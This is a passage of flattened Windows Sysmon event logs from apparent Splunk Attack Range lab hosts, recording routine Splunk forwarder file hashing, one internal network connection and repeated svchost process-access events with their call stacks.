Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=00EA02E07D10BCA0829901CF1028FADF,SHA256=AB05EF69612A42AA988C4D77B48BDF55040D50A8BD6CEFF17AC95400AD56E404,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000057894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:10:59.509{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63221-false10.0.1.12-8000- 23542300x800000000000000057896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:03.754{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=53823E9949B4B5F1AD5EE126728B6390,SHA256=FAD84308D669405A8845887FB5197AA11C5BAA99D2B09DE86A5FB3BADC569C2E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:03.128{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46042D933A3588E48132E49C53AC702C,SHA256=7E8FD1D3C129A0721C8FE17AD6A45CAB012FCC179E922A01FB4C3B69E6C4C1DE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000057897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:04.894{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6207E1B60AEB248C20AA1406B421AB26,SHA256=B7ACF21017CD92C5DDD71BC0D38DAE73334F032740059A09611CF20A7E982390,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000018625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:04.143{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4443B31A299A0C0F4D7D01F065967FF5,SHA256=451CCC7456BEEE39BAEA22CF99EA363F36FA76B5F6AEE77BF9A56463F2F129A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000018626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:11:05.143{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4390F9F6B15AF25D075F06F05E2B1F0E,SHA256=84FB2A3A76285432E84EAF8ACF4714E1CC486ECBADFFD6F525EF91688CDE7768,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000057929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:05.597{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 